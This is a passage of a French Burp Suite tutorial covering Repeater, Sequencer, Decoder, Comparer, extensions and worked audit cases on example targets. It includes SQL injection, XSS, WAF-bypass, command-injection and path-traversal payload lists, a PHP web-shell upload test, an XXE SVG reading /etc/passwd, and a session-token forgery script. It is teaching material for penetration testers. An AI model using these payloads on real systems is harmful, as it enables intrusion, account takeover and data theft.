- Headers (éditable)
- Attributes
Plus intuitif pour éditer que le raw text
9.7 Raccourcis et Productivité¶
Ctrl/Cmd + Space : Send request
Ctrl/Cmd + U : URL-encode selection
Ctrl/Cmd + Shift + U : URL-decode selection
Ctrl/Cmd + R : Rename tab
Ctrl/Cmd + W : Close tab
Selection + Click droit:
- Convert selection:
- URL > URL-encode
- HTML > HTML-encode
- Base64 > Base64-encode
- Hex
9.8 Comparer Réponses¶
Envoyer plusieurs requêtes avec variations:
1. Send request A
2. Modifier
3. Send request B
Click droit dans Response > Send to Comparer
Répéter pour request B
Comparer > Words ou Bytes
Utilité:
- Identifier différences subtiles
- Blind SQL injection (time-based)
- A/B testing comportements
9.9 Follow Redirections¶
Si la réponse est 301/302:
Options (en bas):
☑ Follow redirections
Burp suivra automatiquement et affichera la réponse finale
9.10 Request in Browser¶
Click droit dans Request panel:
Request in browser > In current browser session
Burp génère une URL unique:
http://127.0.0.1:8080/burp/...
Coller dans le navigateur pour voir le rendu
Utile pour tester XSS ou voir le rendu HTML
9.11 Cas d’Usage Courants¶
Test d’Injection SQL¶
Requête:
GET /product?id=1 HTTP/1.1
Tests successifs:
id=1' → Erreur SQL?
id=1' OR '1'='1 → Bypass?
id=1 AND 1=1 → Réponse normale?
id=1 AND 1=2 → Réponse différente?
id=1' UNION SELECT NULL-- → Union-based?
Test XSS¶
Requête:
POST /comment HTTP/1.1
comment=<script>alert(1)</script>
Variations:
comment=<img src=x onerror=alert(1)>
comment=<svg onload=alert(1)>
comment='"><script>alert(1)</script>
Vérifier si dans Response:
- Payload reflété tel quel
- Payload encodé
- Payload filtré
Test IDOR¶
GET /api/document/123 HTTP/1.1
Tests:
/api/document/124
/api/document/125
...
/api/document/1
Observer:
- 200 OK: Accès non autorisé (IDOR!)
- 403 Forbidden: Contrôle OK
- 404 Not Found: Document inexistant
Test d’Authentication Bypass¶
POST /admin HTTP/1.1
Cookie: session=abc123
Supprimer/modifier cookie:
Cookie: session=
Cookie: (supprimer la ligne)
Ajouter headers:
X-Forwarded-For: 127.0.0.1
X-Original-URL: /admin
X-Rewrite-URL: /admin
Test de Race Condition¶
Requête:
POST /coupon HTTP/1.1
code=DISCOUNT10
Ouvrir plusieurs tabs Repeater (Ctrl+R plusieurs fois)
Dans chaque tab, même requête
Envoyer simultanément (Send Send Send rapide)
Observer si le coupon peut être utilisé plusieurs fois
10. Sequencer¶
Le Sequencer analyse la qualité et la prédictibilité des tokens de session.
10.1 Qu’est-ce que le Sequencer ?¶
Analyse statistique de tokens pour détecter: - Faible entropie - Patterns prévisibles - Algorithmes faibles - Corrélation temporelle
10.2 Workflow¶
1. Identifier la requête qui génère des tokens
2. Envoyer au Sequencer
3. Configurer quel token analyser
4. Collecter des échantillons (minimum 100, recommandé 20000+)
5. Analyser les résultats
10.3 Capture de Tokens¶
Depuis Proxy history:
Click droit sur requête de login > Send to Sequencer
Sequencer > Token Location Within Response
Options:
- Cookie: session
- Custom location (regex)
- Form field
Start live capture
Exemple :
Requête:
POST /login HTTP/1.1
username=user&password=pass
Réponse:
HTTP/1.1 200 OK
Set-Cookie: session=abc123xyz
Token à analyser: abc123xyz
10.4 Capture Live¶
Sequencer > Live capture
Actions:
[Start capture]
Burp envoie automatiquement la requête plusieurs fois et collecte les tokens.
Tokens captured: 0 / 20000
[Pause] [Resume] [Stop] [Analyze now]
Minimum 100 pour analyse basique
Recommandé 10000+ pour analyse fiable
10.5 Manual Load¶
Si tokens déjà collectés:
Sequencer > Manual load
Coller les tokens (un par ligne):
token1
token2
token3
...
[Analyze]
10.6 Analyse des Résultats¶
Sequencer > Character-level analysis
Résultats:
- Overall result: Quality estimate (Good/Medium/Poor)
- Effective entropy: Bits d'entropie
- Reliability: Confidence level
Character position analysis:
Position 1: High entropy
Position 2: High entropy
Position 3: Low entropy ← Problème!
...
Bit-level analysis: Distribution des bits
Interprétation¶
Effective Entropy:
- 128+ bits: Excellent
- 64-128 bits: Bon
- 32-64 bits: Moyen (potentiellement bruteforceable)
- < 32 bits: Faible (vulnérable)
FIPS Tests:
Tests statistiques standards pour randomness
Passed: Bon
Failed: Patterns détectés (mauvais signe)
10.7 Exemples d’Analyse¶
Token Fort¶
Token: 8f3d7b2a1c4e9f5d6a8b7c3e1f4d9a2b
Analysis:
- Effective entropy: 128 bits
- Character-level: Uniform distribution
- FIPS tests: All passed
Conclusion: Fort, non prédictible
Token Faible¶
Token: 1001, 1002, 1003, 1004...
Analysis:
- Effective entropy: 10 bits
- Sequential pattern detected
- FIPS tests: Failed
Conclusion: Très faible, prédictible, bruteforceable
Token avec Timestamp¶
Tokens:
20240315120000_abc
20240315120001_def
20240315120002_ghi
Analysis:
- First part: Timestamp (predictable)
- Effective entropy: ~24 bits (only random part)
Conclusion: Réduisible, potentiellement attaquable
10.8 Cas d’Usage¶
Test de Session Tokens¶
Application: Site e-commerce
1. Capturer 10000 tokens de session
2. Analyser avec Sequencer
3. Si entropie < 64 bits:
- Tenter brute force
- Tenter prediction
4. Si pattern temporel:
- Générer tokens valides futurs
- Session hijacking
Test de Reset Password Tokens¶
Application: Fonction "Forgot Password"
1. Demander 1000 reset tokens
2. Analyser séquence
3. Si faible entropie:
- Prédire token d'un autre utilisateur
- Réinitialiser son mot de passe (Account Takeover)
Test CSRF Tokens¶
1. Collecter CSRF tokens
2. Vérifier si:
- Prédictibles
- Réutilisables
- Manquants
3. Si prévisible: Générer token valide pour CSRF attack
11. Decoder¶
Le Decoder encode/décode des données dans différents formats.
11.1 Interface¶
Decoder tab:
┌────────────────────────────────────┐
│ Input: │
│ ┌──────────────────────────────┐ │
│ │ data to encode/decode │ │
│ └──────────────────────────────┘ │
│ │
│ [Encode as...] [Decode as...] │
│ [Hash] │
│ │
│ Output: │
│ ┌──────────────────────────────┐ │
│ │ result │ │
│ └──────────────────────────────┘ │
└────────────────────────────────────┘
11.2 Envoyer au Decoder¶
Depuis n'importe où dans Burp:
1. Sélectionner du texte
2. Click droit > Send to Decoder
Ou: Ctrl/Cmd + Shift + D
11.3 Encodages Disponibles¶
URL Encoding¶
Input: hello world
Encode: hello%20world
Input: <script>alert(1)</script>
Encode: %3Cscript%3Ealert%281%29%3C%2Fscript%3E
HTML Encoding¶
Input: <script>alert(1)</script>
Encode: <script>alert(1)</script>
Input: "test"
Encode: "test"
Base64¶
Input: admin:password
Encode: YWRtaW46cGFzc3dvcmQ=
Input: {"user":"admin"}
Encode: eyJ1c2VyIjoiYWRtaW4ifQ==
ASCII Hex¶
Input: hello
Encode: 68656c6c6f
Input: ABC
Encode: 414243
Hex¶
Similar to ASCII Hex but with spaces
Input: hello
Encode: 68 65 6c 6c 6f
Octal¶
Input: ABC
Encode: 101 102 103
Binary¶
Input: A
Encode: 01000001
GZIP¶
Compress data with GZIP algorithm
Utilisé pour body HTTP compressé
11.4 Hash Functions¶
Decoder > Hash
Disponibles:
- MD5
- SHA-1
- SHA-224
- SHA-256
- SHA-384
- SHA-512
Input: password
MD5: 5f4dcc3b5aa765d61d8327deb882cf99
SHA256: 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8
11.5 Chaîner les Opérations¶
Exemple: Double URL encoding
Input: <script>alert(1)</script>
Encode as URL: %3Cscript%3Ealert%281%29%3C%2Fscript%3E
Encode as URL: %253Cscript%253Ealert%25281%2529%253C%252Fscript%253E
Chaque opération crée une nouvelle section dans Decoder
11.6 Smart Decode¶
Click "Smart decode" button
Burp tente automatiquement de décoder:
- Détecte le format (Base64, URL, Hex, etc.)
- Applique les décodages successifs
- Affiche les résultats intermédiaires
Exemple:
Input: JTNDc2NyaXB0JTNFYWxlcnQoMSklM0MlMkZzY3JpcHQlM0U=
Smart decode:
1. Base64 decode: %3Cscript%3Ealert(1)%3C%2Fscript%3E
2. URL decode: <script>alert(1)</script>
11.7 Cas d’Usage Pratiques¶
Décoder JWT Token¶
JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Structure: header.payload.signature
Decoder:
Part 1 (header): eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Decode as Base64: {"alg":"HS256","typ":"JWT"}
Part 2 (payload): eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ
Decode as Base64: {"sub":"1234567890","name":"John Doe","iat":1516239022}
Créer un Payload Encodé¶
Pour XSS dans context URL-encoded:
1. Input: <img src=x onerror=alert(1)>
2. Encode as URL: %3Cimg+src%3Dx+onerror%3Dalert%281%29%3E
3. Copier le résultat
4. Utiliser dans Repeater/Intruder
Analyser Cookie Encodé¶
Cookie: user=YWRtaW4%3D
1. URL decode: YWRtaW4=
2. Base64 decode: admin
Maintenant tester:
1. Input: admin
2. Modify: root
3. Base64 encode: cm9vdA==
4. URL encode: cm9vdA%3D%3D
5. Tester avec Cookie: user=cm9vdA%3D%3D
Hasher des Mots de Passe¶
Pour tester si l'application utilise MD5:
Input: password123
Hash > MD5: 482c811da5d5b4bc6d497ffa98491e38
Rechercher ce hash dans les requêtes/responses
Si présent: MD5 utilisé (faible pour mots de passe!)
12. Comparer¶
Le Comparer permet de comparer deux (ou plus) requêtes ou réponses pour identifier les différences.
12.1 Envoyer au Comparer¶
Depuis Proxy, Repeater, Intruder:
Click droit > Send to Comparer
Minimum 2 items requis pour comparer
12.2 Types de Comparaison¶
Words¶
Compare words (tokens séparés par espaces)
Affichage:
- Mots identiques: non mis en évidence
- Mots différents: surlignés
- Mots ajoutés: vert
- Mots supprimés: rouge
Bytes¶
Compare byte par byte
Affichage:
- Bytes identiques: non mis en évidence
- Bytes différents: surlignés
Plus précis mais moins lisible
12.3 Interface de Comparaison¶
┌────────────────────────────────────────┐
│ Item 1 Item 2 │
├────────────────────────────────────────┤
│ HTTP/1.1 200 OK HTTP/1.1 200 OK │
│ Content-Length: 50 Content-Length: 52 │ ← Différence
│ │
│ {"id":1,"admin": {"id":1,"admin": │
│ false} true} │ ← Différence
└────────────────────────────────────────┘
12.4 Cas d’Usage¶
Blind SQL Injection¶
Test: id=1 AND 1=1 vs id=1 AND 1=2
Réponse 1: Contenu normal
Réponse 2: Contenu vide ou différent
Comparer:
- Si différence significative: Vulnérable
- Si identique: Pas de SQL injection (ou time-based)
Différence Utilisateur Normal vs Admin¶
Requête User:
GET /dashboard HTTP/1.1
Cookie: session=user_token
Requête Admin:
GET /dashboard HTTP/1.1
Cookie: session=admin_token
Comparer les réponses:
- Identifier fonctionnalités admin
- Tester avec user token pour voir si accessible (Privilege Escalation)
A/B Testing Comportements¶
Tester si un paramètre change le comportement:
Request 1: GET /api?debug=false
Request 2: GET /api?debug=true
Comparer:
- Rechercher info leaks dans debug=true
- Stack traces
- Informations sensibles
IDOR Detection¶
Request 1: GET /api/user/123
Response: {"id":123,"name":"Alice","email":"alice@example.com"}
Request 2: GET /api/user/124
Response: {"id":124,"name":"Bob","email":"bob@example.com"}
Comparer:
- Structure identique: Bon
- Bob accessible sans autorisation: IDOR!
12.5 Sync Views¶
Option: Sync views
Quand activé:
- Scroller dans Item 1 scrolle automatiquement Item 2
- Plus facile de comparer des réponses longues
13. Extensions (BApp Store)¶
Les extensions étendent les fonctionnalités de Burp Suite.
13.1 BApp Store¶
Extender > BApp Store
Catégories:
- Active Scan
- Passive Scan
- Traffic Analysis
- Beautifiers
- Logging
- Testing Methodologies
- Cryptography
- Decode
13.2 Installation d’Extensions¶
Extender > BApp Store > [Extension name] > Install
Ou manuellement:
Extender > Extensions > Add
Extension type: Java, Python, Ruby
Extension file: .jar, .py, .rb
13.3 Extensions Essentielles¶
Autorize¶
But: Tester les failles d'autorisation automatiquement
Installation: BApp Store > Autorize > Install
Configuration:
1. Se connecter avec user à faibles privilèges
2. Autorize > Cookies > Add cookie de cette session
3. Naviguer avec un user privilégié
4. Autorize teste automatiquement si low-priv user peut accéder
Résultats:
- Rouge: Accès non autorisé détecté (vulnérabilité!)
- Vert: Accès refusé (bon)
Turbo Intruder¶
But: Attaques très rapides (contourner limite Community)
Installation: BApp Store > Turbo Intruder > Install
Usage:
Click droit sur requête > Extensions > Turbo Intruder
Scripter l'attaque en Python
Exemple:
def queueRequests(target, wordlists):
for word in open('/path/to/wordlist.txt'):
engine.queue(target.req, word.rstrip())
JS Link Finder¶
But: Extraire URLs/endpoints depuis fichiers JavaScript
Installation: BApp Store > JS Link Finder > Install
Usage:
- Automatique sur fichiers .js scannés
- Target > Site map > voir endpoints découverts
Logger++¶
But: Logging avancé avec export
Installation: BApp Store > Logger++ > Install
Features:
- Filtres avancés
- Export CSV, JSON
- Regex matching
- Color coding
JSON Web Tokens (JWT4B)¶
But: Décoder, modifier, attaquer JWT tokens
Installation: BApp Store > JSON Web Tokens > Install
Usage:
Intercepter requête avec JWT:
Authorization: Bearer eyJ...
Extension affiche:
- Header décodé
- Payload décodé
- Signature
Actions:
- Modifier payload
- Changer algorithme (alg: none)
- Test key confusion attacks
Retire.js¶
But: Identifier bibliothèques JavaScript vulnérables
Installation: BApp Store > Retire.js > Install
Scan automatique:
- Détecte jQuery 1.8.0 (vulnérable XSS)
- Détecte Angular 1.5.0 (vulnérable)
- Etc.
Upload Scanner¶
But: Tester upload de fichiers
Installation: BApp Store > Upload Scanner > Install
Tests:
- Bypass extension filters
- Exécution code serveur
- XSS via upload
- XXE via SVG, XML
Param Miner¶
But: Découvrir paramètres cachés
Installation: BApp Store > Param Miner > Install
Usage:
Click droit > Extensions > Param Miner > Guess params
Teste des milliers de noms de paramètres communs:
- debug, admin, test, dev, etc.
SQLiPy¶
But: SQLi scanner avancé
Installation: Manuelle (GitHub)
Features:
- Error-based SQLi
- Boolean-based blind
- Time-based blind
- Union-based
13.4 Extensions Python¶
Nécessite Jython standalone.
Configuration:
Extender > Options > Python Environment
Jython standalone JAR: /path/to/jython-standalone.jar
Télécharger Jython:
https://www.jython.org/download.html
13.5 Créer une Extension Simple¶
Extension Java Basique¶
// BurpExtender.java
package burp;
import java.io.PrintWriter;
public class BurpExtender implements IBurpExtender {
@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
callbacks.setExtensionName("Hello World");
PrintWriter stdout = new PrintWriter(callbacks.getStdout(), true);
stdout.println("Hello from Burp Extension!");
}
}
// Compiler et charger le .jar dans Extender > Extensions > Add
Extension Python Basique¶
# extension.py
from burp import IBurpExtender
class BurpExtender(IBurpExtender):
def registerExtenderCallbacks(self, callbacks):
callbacks.setExtensionName("Hello Python")
print("Hello from Python extension!")
return
# Charger directement le .py dans Extender > Extensions > Add
13.6 Extensions Recommandées par Cas d’Usage¶
API Testing¶
- JSON Web Tokens
- WSDL Wizard
- Swagger Parser
- GraphQL Raider
Authentification¶
- Autorize
- AuthMatrix
- Session Timeout Test
Injection¶
- SQLiPy
- Hackvertor
- Upload Scanner
Recon¶
- JS Link Finder
- Param Miner
- Content Type Converter
Reporting¶
- Logger++
- Report To Elastic
- Flow
14. Techniques Avancées¶
14.1 Session Handling¶
Gérer automatiquement les sessions complexes.
Project options > Sessions > Session Handling Rules
Add rule:
Name: Maintain session
Scope: Include all URLs in scope
Rule Actions:
- Use cookies from Burp's cookie jar
- Run macro (pour re-authentification automatique)
Créer un Macro¶
Scénario: Re-login automatique quand session expire
1. Project options > Sessions > Macros > Add
2. Select requests:
- GET /login (pour CSRF token)
- POST /login (authentification)
3. Macro editor:
- Extraire CSRF token
- Utiliser dans POST
4. Session handling rule: Run macro if session invalid
14.2 Collaborator Client (Pro)¶
Détection de vulnérabilités out-of-band (SSRF, XXE, etc.).
Burp menu > Burp Collaborator client
Generate payload: xyz123.burpcollaborator.net
Utiliser ce payload dans tests:
- SSRF: http://xyz123.burpcollaborator.net
- XXE: <!ENTITY xxe SYSTEM "http://xyz123.burpcollaborator.net">
- DNS: nslookup xyz123.burpcollaborator.net
Poll now: Vérifier si interactions détectées
Résultats:
- HTTP request reçu: SSRF confirmé!
- DNS lookup reçu: XXE confirmé!
14.3 Macro et Token Handling¶
Exemple: Application avec CSRF token dynamique
1. Enregistrer macro:
- GET /form (récupérer CSRF token)
2. Session handling rule:
- Run macro before each request
- Extract from response: csrf_token=([a-f0-9]{32})
- Update current request parameter: csrf_token
Maintenant chaque requête aura le token valide
14.4 Invisible Proxy (ProProxy sur port non-standard)¶
Scenario: Application non-browser (mobile app, API client)
Proxy > Options > Proxy Listeners
Add:
- Bind to port: 8081
- Request handling:
- Redirect to host: api.example.com
- Redirect to port: 443
- Force use of TLS: Yes
Client config:
Change API endpoint to http://127.0.0.1:8081
Burp intercepte sans que le client le sache
14.5 Upstream Proxy Chaining¶
User options > Connections > Upstream Proxy Servers
Add:
Destination host: *
Proxy host: proxy.corp.com
Proxy port: 8080
Authentication: Optional
Burp → Corporate Proxy → Internet
Utile pour:
- Tests derrière corporate proxy
- Chaining avec Tor
- Logging centralisé
14.6 Custom SSL Certificates¶
Proxy > Options > TLS
Import / Generate CA certificate
Custom certificate:
Generate in Burp
Use existing certificate
Utile pour:
- Mobile app testing (certificate pinning bypass)
- Custom PKI environments
14.7 Scan Selected Insertion Points¶
Intruder ou Scanner avec contrôle fin
Exemple: Scanner seulement le cookie, pas les params URL
Target > Site map > click droit > Scan
Scan configuration > Insertion points
Configure: Only cookies
14.8 Match and Replace Avancé¶
Scenario: Ajouter header custom à toutes les requêtes
Proxy > Options > Match and Replace
Add:
Type: Request header
Match: ^Host:.*$
Replace: Host: $0\r\nX-Custom-Header: value
Attention au \r\n pour nouvelle ligne HTTP
14.9 Mobile App Testing¶
Configuration¶
1. Installer Burp CA sur mobile:
- Export cacert.der
- iOS: Email et installer profile
- Android: Settings > Security > Install certificate
2. Configure WiFi proxy:
- Proxy: IP de la machine Burp
- Port: 8080
3. Si certificate pinning:
- Frida
- SSL Kill Switch
- Objection
Intercept Traffic¶
Proxy > Options > Proxy Listeners
Bind to: All interfaces (ou IP spécifique)
Port: 8080
Mobile:
WiFi Settings > Manual Proxy
Server: 192.168.1.100 (IP de la machine Burp)
Port: 8080
14.10 API Testing Avancé¶
GraphQL¶
Envoyer requête GraphQL au Repeater:
POST /graphql HTTP/1.1
Content-Type: application/json
{"query":"{ users { id name email } }"}
Tests:
- Introspection: {"query":"{ __schema { types { name } } }"}
- Injection: {"query":"{ user(id: \"1' OR '1'='1\") { name } }"}
- Batching: [{"query":"..."}, {"query":"..."}]
REST API¶
Identifier pattern:
GET /api/v1/users/123
Tests IDOR:
- GET /api/v1/users/124
- GET /api/v1/users/1
- GET /api/v1/users/admin
Tests method:
- PUT /api/v1/users/123 (update)
- DELETE /api/v1/users/123
- PATCH /api/v1/users/123
SOAP/XML¶
Extension: WSDL Wizard
Parse WSDL:
http://api.example.com/service?wsdl
Tests:
- XXE injection
- SQL injection dans paramètres SOAP
14.11 Advanced Intruder Techniques¶
Pitchfork for Credential Stuffing¶
Positions:
username=§user§&password=§pass§
Payload set 1: leaked_usernames.txt
Payload set 2: leaked_passwords.txt
Type: Pitchfork (parallel iteration)
Teste combos connus de breaches
Recursive Grep¶
Scenario: Extraire un token et l'utiliser dans la prochaine requête
Intruder > Options > Grep - Extract
Extract: token=([a-f0-9]+)
Payload Processing:
- Add token as payload
- Use extracted value in next request
Permet attaques chaînées
15. Cas Pratiques Complets¶
15.1 Cas Pratique 1: Test d’une Application E-commerce¶
Objectif: Audit complet de sécurité
Phase 1: Configuration et Mapping¶
1. Démarrer Burp
2. Configurer proxy (127.0.0.1:8080)
3. Installer CA certificate
4. Naviguer vers https://shop.example.com
5. Target > Scope: Add https://shop.example.com
Phase 2: Découverte¶
1. Navigation manuelle:
- Register
- Login
- Browse products
- Add to cart
- Checkout process
- Account settings
2. Observer dans Target > Site map:
- /api/products
- /api/cart
- /api/checkout
- /api/orders
- /admin (403 Forbidden)
Phase 3: Test d’Authentification¶
Proxy > HTTP history > Filter: POST /login
Envoyer au Repeater:
POST /api/login HTTP/1.1
Content-Type: application/json
{"username":"test@example.com","password":"password123"}
Tests:
1. Brute force protection?
- Intruder > Sniper
- Payload: passwords.txt
- Grep - Match: "Invalid credentials", "Success"
- Observer si rate limiting
2. SQL Injection?
- username: admin'--
- username: ' OR '1'='1
- Observer réponses
3. Weak session tokens?
- Sequencer sur session cookie
Phase 4: Test d’IDOR¶
Requête observée:
GET /api/orders/12345 HTTP/1.1
Cookie: session=abc123
Response:
{"orderId":12345,"user":"test@example.com","total":99.99}
Tests dans Repeater:
GET /api/orders/12346 HTTP/1.1
GET /api/orders/12344 HTTP/1.1
GET /api/orders/1 HTTP/1.1
Si 200 OK avec données d'autres users: IDOR vulnérable!
Automatiser avec Intruder:
Position: /api/orders/§12345§
Payload: Numbers 1-50000
Filter results: Status=200, Length > 100
Phase 5: Test du Panier¶
POST /api/cart/add HTTP/1.1
{"productId":123,"quantity":1,"price":99.99}
Tests:
1. Manipuler le prix:
{"productId":123,"quantity":1,"price":0.01}
2. Quantité négative:
{"productId":123,"quantity":-1,"price":99.99}
3. Overflow:
{"productId":123,"quantity":999999,"price":99.99}
Phase 6: Test du Checkout¶
POST /api/checkout HTTP/1.1
{"cartId":456,"couponCode":"SAVE10"}
Tests:
1. Réutiliser coupon (Race condition):
- Ouvrir 10 tabs Repeater
- Envoyer simultanément
- Vérifier si coupon appliqué plusieurs fois
2. Coupon bruteforce:
- Intruder: couponCode=§SAVE10§
- Payload: Brute forcer (SAVE01-SAVE99)
Phase 7: Test Privilege Escalation¶
Observé: /admin (403 Forbidden)
Tests:
1. Modifier session cookie:
- Decoder: session cookie
- Si {"userId":123,"role":"user"}
- Modifier: {"userId":123,"role":"admin"}
- Re-encoder et tester
2. Ajouter headers:
X-Original-URL: /admin
X-Forwarded-For: 127.0.0.1
3. Change method:
GET /admin → POST /admin
Phase 8: XSS Testing¶
Points d'entrée:
- Product reviews
- Username
- Search functionality
Payloads:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
'"><svg onload=alert(1)>
Intruder:
Position: reviewText=§test§
Payload: xss-payload-list.txt
Phase 9: Reporting¶
Vulnérabilités trouvées:
1. IDOR in /api/orders
- Severity: High
- Proof: Screenshots + requests
2. Price manipulation
- Severity: Critical
- Proof: Requêtes Repeater
3. Coupon reuse (Race condition)
- Severity: Medium
- Proof: Intruder results
4. XSS in product reviews
- Severity: Medium
- Proof: Stored XSS screenshot
Exporter:
Target > Site map > Generate report
15.2 Cas Pratique 2: API REST Testing¶
Objectif: Tester une API REST
Setup¶
API: https://api.example.com/v1
Endpoints connus:
GET /users
GET /users/{id}
POST /users
PUT /users/{id}
DELETE /users/{id}
Authentication¶
POST /auth/login HTTP/1.1
{"email":"user@example.com","password":"pass123"}
Response:
{"token":"eyJ..."}
Configurer Burp:
Proxy > Options > Match and Replace
Type: Request header
Match: ^Authorization:.*
Replace: Authorization: Bearer eyJ...
Testing Users Endpoint¶
GET /users/1 HTTP/1.1
Authorization: Bearer token
Tests:
1. IDOR:
GET /users/2, /users/3, ...
Intruder avec Numbers payload
2. No Auth:
Supprimer header Authorization
Si 200 OK: Broken authentication!
3. Method manipulation:
GET /users/1 → DELETE /users/1
Si 200 OK: Unintended method allowed!
4. Mass Assignment:
PUT /users/1 HTTP/1.1
{"name":"test","role":"admin"}
Si role accepté: Mass assignment vuln!
Parameter Pollution¶
GET /users?id=1&id=2 HTTP/1.1
Observer comportement:
- Premier id utilisé
- Dernier id utilisé
- Tableau retourné
- Erreur
Exploits possibles selon comportement
Rate Limiting¶
Intruder:
GET /api/expensive-operation HTTP/1.1
Payload: Null payloads x1000
Observer:
- 429 Too Many Requests? (bon)
- 200 OK pour tout? (no rate limiting - vulnérable)
15.3 Cas Pratique 3: Bypass de WAF¶
Objectif: Contourner un WAF détectant les payloads SQL
Détection du WAF¶
Payload: ' OR 1=1--
Response: 403 Forbidden
X-WAF: Blocked
Confirm WAF présent
Techniques de Bypass¶
1. Encodage
Repeater:
Input: ' OR 1=1--
Tests:
- URL encode: %27%20OR%201%3D1--
- Double URL encode: %2527%2520OR%25201%253D1--
- Unicode: %u0027 OR 1=1--
2. Case Variation
' Or 1=1--
' oR 1=1--
' or 1=1--
3. Commentaires
'/**/OR/**/1=1--
'/*!OR*/1=1--
' OR--
1=1--
4. Alternative Syntax
' || '1'='1
' && '1'='1
admin'--
admin'#
5. Null Bytes
'%00 OR 1=1--
6. Change Content-Type
Original:
Content-Type: application/x-www-form-urlencoded
Changer en:
Content-Type: application/json
{"username":"' OR 1=1--"}
WAF peut ne pas parser JSON correctement
7. HTTP Parameter Pollution
id=1&id=' OR 1=1--
Selon le WAF:
- Premier param checked seulement
- Dernier param passed à l'application
15.4 Cas Pratique 4: Session Puzzle¶
Objectif: Exploitation d’une session faible
Analyse du Token¶
Session token observé:
session=MTYxMDQ4NzAwMC0xMjM=
Decoder:
Base64 decode: 1610487000-123
Format: timestamp-userId
Problème: Prédictible!
Génération de Token Valide¶
Python script:
import base64
import time
timestamp = int(time.time())
userId = 456 # Autre utilisateur
token = f"{timestamp}-{userId}"
token_b64 = base64.b64encode(token.encode()).decode()
print(f"session={token_b64}")
Test avec Intruder¶
GET /dashboard HTTP/1.1
Cookie: session=§MTYxMDQ4NzAwMC0xMjM§
Payload:
Custom iterator pour générer tokens:
timestamp: current ± 3600 seconds
userId: 1-1000
Cluster Bomb attack
Grep - Match: "Welcome"
Trouver sessions valides d'autres users
15.5 Cas Pratique 5: Upload Vulnerabilities¶
Objectif: Tester upload de fichiers
Test 1: Extension Bypass¶
Upload normal:
shell.php → Blocked
Tests dans Repeater:
Content-Disposition: form-data; name="file"; filename="shell.php"
Variations:
- shell.php.jpg
- shell.php%00.jpg
- shell.php%0a.jpg
- shell.PhP (case variation)
- shell.phtml, shell.php5, shell.phar
Content-Type variations:
- image/jpeg (au lieu de application/x-php)
Test 2: Content Type Bypass¶
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="image.jpg"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
Si validation basée sur Content-Type seulement: Bypass!
Test 3: Magic Bytes¶
Ajouter magic bytes d'image avant code PHP:
File content (Hex view):
FF D8 FF E0 (JPEG magic bytes)
<?php system($_GET['cmd']); ?>
Upload comme image.jpg
Test 4: Path Traversal¶
filename="../../shell.php"
filename="....//....//shell.php"
filename="%2e%2e%2fshell.php"
Si upload dans /uploads/ mais path traversal possible:
File accessible à /shell.php (root web)
Test 5: XXE via SVG¶
Upload file: xxe.svg
Content:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
Si processed server-side: XXE vulnerability
Annexes¶
A. Raccourcis Clavier¶
GLOBAUX
Ctrl/Cmd + Shift + I : Toggle intercept
Ctrl/Cmd + R : Send to Repeater
Ctrl/Cmd + I : Send to Intruder
Ctrl/Cmd + Shift + D : Send to Decoder
Ctrl/Cmd + H : HTTP history
Ctrl/Cmd + Shift + T : Target sitemap
REPEATER
Ctrl/Cmd + Space : Send request
Ctrl/Cmd + U : URL-encode selection
Ctrl/Cmd + Shift + U : URL-decode selection
INTRUDER
Ctrl/Cmd + I : Start attack
B. Workflows Recommandés¶
Workflow Audit Web Application¶
1. Configuration (Proxy, CA cert, Scope)
2. Discovery (Manual browse + Spider)
3. Passive Analysis (Proxy history review)
4. Active Testing:
- Repeater (manual testing)
- Intruder (automated attacks)
- Scanner (Pro only)
5. Documentation (Comments, highlights)
6. Reporting (Export findings)
Workflow API Testing¶
1. Import API documentation (OpenAPI/Swagger)
2. Configure authentication (Match & Replace or Sessions)
3. Test each endpoint:
- Authentication/Authorization
- Input validation
- Rate limiting
- IDOR
4. Automate with Intruder
5. Document findings
C. Liste de Payloads Utiles¶
SQL Injection¶
' OR '1'='1
' OR 1=1--
admin'--
' UNION SELECT NULL--
' AND 1=2 UNION SELECT table_name FROM information_schema.tables--
XSS¶
<script>alert(1)</script>
<img src=x onerror=alert(1)>
'"><script>alert(1)</script>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
Command Injection¶
; ls
| whoami
& ping -c 10 127.0.0.1
`id`
$(whoami)
Path Traversal¶
../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd
D. Codes HTTP Importants¶
2xx Success
200 OK
201 Created
204 No Content
3xx Redirection
301 Moved Permanently
302 Found
304 Not Modified
4xx Client Error
400 Bad Request
401 Unauthorized
403 Forbidden
404 Not Found
405 Method Not Allowed
429 Too Many Requests
5xx Server Error
500 Internal Server Error
502 Bad Gateway
503 Service Unavailable
E. Headers de Sécurité¶
Headers à vérifier (absents = potentielle vuln):
Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Headers à surveiller:
Server: Apache/2.4.1 (version disclosure)
X-Powered-By: PHP/7.0.0 (version disclosure)
F. Ressources Complémentaires¶
Documentation Officielle: - https://portswigger.net/burp/documentation
Training: - PortSwigger Web Security Academy (gratuit) - Burp Suite Certified Practitioner
Labs de Pratique: - PortSwigger Academy Labs - DVWA (Damn Vulnerable Web Application) - WebGoat - Juice Shop
Extensions: - BApp Store dans Burp - GitHub: portswigger, burp-extensions
